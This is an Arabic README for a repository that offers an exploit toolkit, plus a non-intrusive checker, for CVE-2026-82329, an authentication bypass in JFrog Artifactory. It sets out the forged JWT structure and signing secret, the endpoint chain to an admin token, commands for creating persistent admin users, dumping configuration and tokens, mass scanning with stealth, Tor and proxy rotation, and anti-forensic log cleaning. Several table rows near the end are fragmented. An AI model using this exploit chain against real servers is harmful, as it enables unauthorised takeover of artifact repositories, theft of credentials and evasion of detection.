
مجموعة أدوات للاستغلال والكشف عن CVE-2026-82329، وهو تجاوز للمصادقة في JFrog Artifactory. تقوم بتزوير رموز JWT للانضمام لإصدار رموز المسؤول؛ وتتضمن أداة فحص إصدار غير تدخلية.

للاستخدام الأخلاقي فقط – اختبار أمني مصرح به
يوفر هذا المستودع أدوات لمتخصصي الأمن المصرح لهم، والفرق الزرقاء، ومختبري الاختراق فقط.
الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني بموجب CFAA (الولايات المتحدة)، وقانون إساءة استخدام الحاسوب (المملكة المتحدة)، وTCK 243/244 (تركيا)، وقوانين مماثلة في جميع أنحاء العالم.
CVE‑2026‑82329 هي ثغرة تجاوز مصادقة حرجة في (الإصدارات حتى ) تسمح لمهاجم غير مصادق عليه بالحصول على عبر استغلال آلية الانضمام إلى عنقود JFrog Access.
32 * 0x20 (مسافات).kid = SHA256("").POST /access/api/v1/registry/join رمز SERVICE مع scp=admin دون أي مصادقة.POST /access/api/v1/tokens مع scope=applied-permissions/admin&audience=* يمنح رمز مسؤول كامل للمنصة.| الأداة | الغرض | المستخدم المستهدف |
|---|---|---|
exploit.py | مجموعة أدوات مسلحة كاملة مع تزوير JWT، وتبادل رمز المسؤول، وإنشاء مستخدم مسؤول، والمسح الجماعي، ووضع التخفي، وتدوير الوكيل، وقائمة تفاعلية، وسلسلة هجوم كاملة. | الفرق الحمراء / مختبري الاختراق المصرح لهم |
safechecker.py | فاحص ثغرات غير تدخلي يكتشف إصدار Artifactory، ويتحقق من التعرض، ويقيّم المخاطر دون الحصول على أي رمز أو تنفيذ أي حمولة. يُنشئ تقارير JSON. | الفرق الزرقاء / مدققو الأمن |
| الميزة | exploit.py | safechecker.py |
|---|---|---|
| اكتشاف الثغرة | ✅ | ✅ |
| اكتشاف الإصدار | ✅ | ✅ |
| JWT انضمام مزور | ✅ | ❌ |
| إصدار رمز الخدمة | ✅ | ❌ |
| تبادل رمز المسؤول | ✅ | ❌ |
| إنشاء مستخدم مسؤول | ✅ | ❌ |
| سرد المستودعات | ✅ | ❌ |
| سرد المستخدمين | ✅ | ❌ |
| تفريغ الإعدادات | ✅ | ❌ |
| تفريغ الرموز | ✅ | ❌ |
| سلسلة هجوم كاملة | ✅ | ❌ |
| قائمة تفاعلية | ✅ | ❌ |
| المسح الجماعي (متعدد الخيوط) | ✅ | ✅ |
| دعم الوكيل | ✅ | ✅ |
| تدوير الوكيل | ✅ | ❌ |
| دعم Tor (إخفاء الهوية) | ✅ | ❌ |
| تدوير User‑Agent (OPSEC) | ✅ | ❌ |
| Jitter (OPSEC) | ✅ | ❌ |
| محدد معدل تكيفي | ✅ | ❌ |
| وضع غير تدخلي (آمن) | ❌ | ✅ |
| تقرير الإصدار | ✅ | ✅ |
| فحص الوصول المجهول | ❌ | ✅ |
| تقرير JSON | ✅ | ✅ |
| تنظيف السجلات (مضاد للطب الشرعي) | ✅ |
| السيناريو | الأداة الموصى بها |
|---|---|
| الفريق الأزرق – التحقق مما إذا كان Artifactory الخاص بك معرّضًا للثغرة | safechecker.py |
| التدقيق الأمني – تقييم ثغرات غير تدخلي | safechecker.py |
| الفريق الأحمر – اختبار اختراق مصرح به مع استغلال كامل | exploit.py |
| Bug Bounty – اختبار الإفصاح المسؤول | safechecker.py |
| المسح الجماعي – فحص أهداف متعددة بحثًا عن الثغرة | exploit.py (كشف فقط) |
| الاستجابة للحوادث – التحقق مما إذا كانت الأنظمة مخترقة | safechecker.py |
git clone https://github.com/tc4dy/CVE-2026-82329-PoC-Exploit
cd CVE-2026-82329-PoC-Exploit
pip install -r requirements.txt
requests
urllib3
curl_cffi
exploit.py| المعامل | الوصف |
|---|---|
-u, --url | عنوان URL لهدف Artifactory واحد (مثال: http://artifactory.example.com:8082) |
-f, --file | ملف يحتوي على قائمة الأهداف (واحد في كل سطر) للمسح الجماعي |
--create-admin | إنشاء مستخدم مسؤول دائم (التنسيق: USER:PASS) |
--keep-admin | الاحتفاظ بمستخدم المسؤول المنشأ (عدم التنظيف بعد المسح) |
--token-only | طباعة رمز المسؤول فقط (هدف واحد) |
--interactive | قائمة تفاعلية بعد الاستغلال |
--service-id | معرف الخدمة لـ JWT الانضمام (افتراضي: jfrt@01) |
-t, --threads | عدد الخيوط للأهداف المتعددة (افتراضي: 10) |
--timeout | مهلة الطلب (افتراضي: 25 ثانية) |
--retry | الحد الأقصى لإعادة المحاولات (افتراضي: 3) |
--proxy | وكيل HTTP/HTTPS (مثال: http://127.0.0.1:8080) |
--proxy-list | ملف يحتوي على وكلاء للتدوير (واحد في كل سطر) |
--jitter | تأخير عشوائي (0‑2 ثانية) بين الطلبات |
--stealth | تمكين وضع التخفي (تدوير UA + X‑Forwarded‑For) |
--curl-cffi | استخدام curl_cffi لانتحال بصمة TLS |
--full | هجوم كامل: جميع الوحدات |
--dump-config | تفريغ إعدادات النظام |
--dump-tokens | تفريغ جميع رموز الوصول |
--list-repos | سرد المستودعات |
--list-users | سرد المستخدمين |
--detect | الكشف فقط (بدون تبادل رمز المسؤول) |
--exploit |
safechecker.py| المعامل | الوصف |
|---|---|
-u, --url | عنوان URL لهدف Artifactory واحد (مثال: http://artifactory.example.com:8082) |
-f, --file | ملف يحتوي على قائمة الأهداف (واحد في كل سطر) |
-t, --threads | عدد الخيوط للأهداف المتعددة (افتراضي: 5) |
--timeout | مهلة الطلب (افتراضي: 10 ثوانٍ) |
-v, --verbose | إخراج مطوّل |
-o, --output | حفظ تقرير JSON في ملف |
| # | السيناريو | الأمر |
|---|---|---|
| 1 | فحص سريع للثغرة | python safechecker.py -u http://artifactory.example.com:8082 |
| 2 | مسح مفصل مع تقرير | python safechecker.py -u http://artifactory.example.com:8082 -o report.json -v |
| 3 | تدقيق جماعي من ملف | python safechecker.py -f targets.txt -t 10 -o audit.json |
| 4 | استغلال كشف فقط | python exploit.py -u http://artifactory.example.com:8082 --detect |
| 5 | الحصول على رمز المسؤول فقط | python exploit.py -u http://artifactory.example.com:8082 --token-only |
| 6 | هجوم كامل مع قائمة تفاعلية | python exploit.py -u http://artifactory.example.com:8082 --interactive |
| 7 | إنشاء مستخدم مسؤول دائم | python exploit.py -u http://artifactory.example.com:8082 --create-admin evil:P@ssw0rd1 --keep-admin |
| 8 | تفريغ الإعدادات | python exploit.py -u http://artifactory.example.com:8082 --dump-config |
| 9 | سرد المستودعات والمستخدمين | python exploit.py -u http://artifactory.example.com:8082 --list-repos --list-users |
| 10 | استغلال جماعي مع التخفي | python exploit.py -f targets.txt -t 20 --stealth --jitter --full -o results.json |
| 11 | تدوير الوكيل مع Tor | python exploit.py -f targets.txt --proxy-list proxies.txt --curl-cffi --stealth |
يستخدم الاستغلال نقاط نهاية JFrog والخطوات التالية:
| الخطوة | الطريقة | نقطة النهاية | الوصف |
|---|---|---|---|
| 1. الانضمام | POST | /access/api/v1/registry/join | JWT HS256 مزور → رمز SERVICE (scp=admin) |
| 2. التبادل | POST | /access/api/v1/tokens | رمز SERVICE → رمز مسؤول المنصة |
| 3. الإثبات | GET | /artifactory/api/system/configuration | إثبات الوصول الخاص بالمسؤول فقط |
| 4. الاستمرارية | PUT | /artifactory/api/security/users/{user} | إنشاء مستخدم مسؤول دائم |
| 5. الإبطال | DELETE | /access/api/v1/tokens/{id} | تنظيف الرموز المنشأة |
# Forged join JWT structure
{
"alg": "HS256",
"typ": "JWT"
}
{
"iat": <unix_timestamp>,
"service_id": "jfrt@01",
"kid": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
"skip_node_registration": true
}
# Signing secret
secret = b"\x20" * 32
# Admin token request
scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false
يُقدَّم هذا البرنامج لأغراض تعليمية واختبار أمني مصرح به فقط.
| ❌ |
| User‑Agent مخصص | ✅ | ✅ |
| التحكم في التحقق من SSL | ✅ | ✅ |
| تنفيذ الاستغلال الكامل |
-o, --output | حفظ تقرير JSON في ملف |
-v, --verbose | إخراج مطوّل |
-q, --quiet | وضع صامت |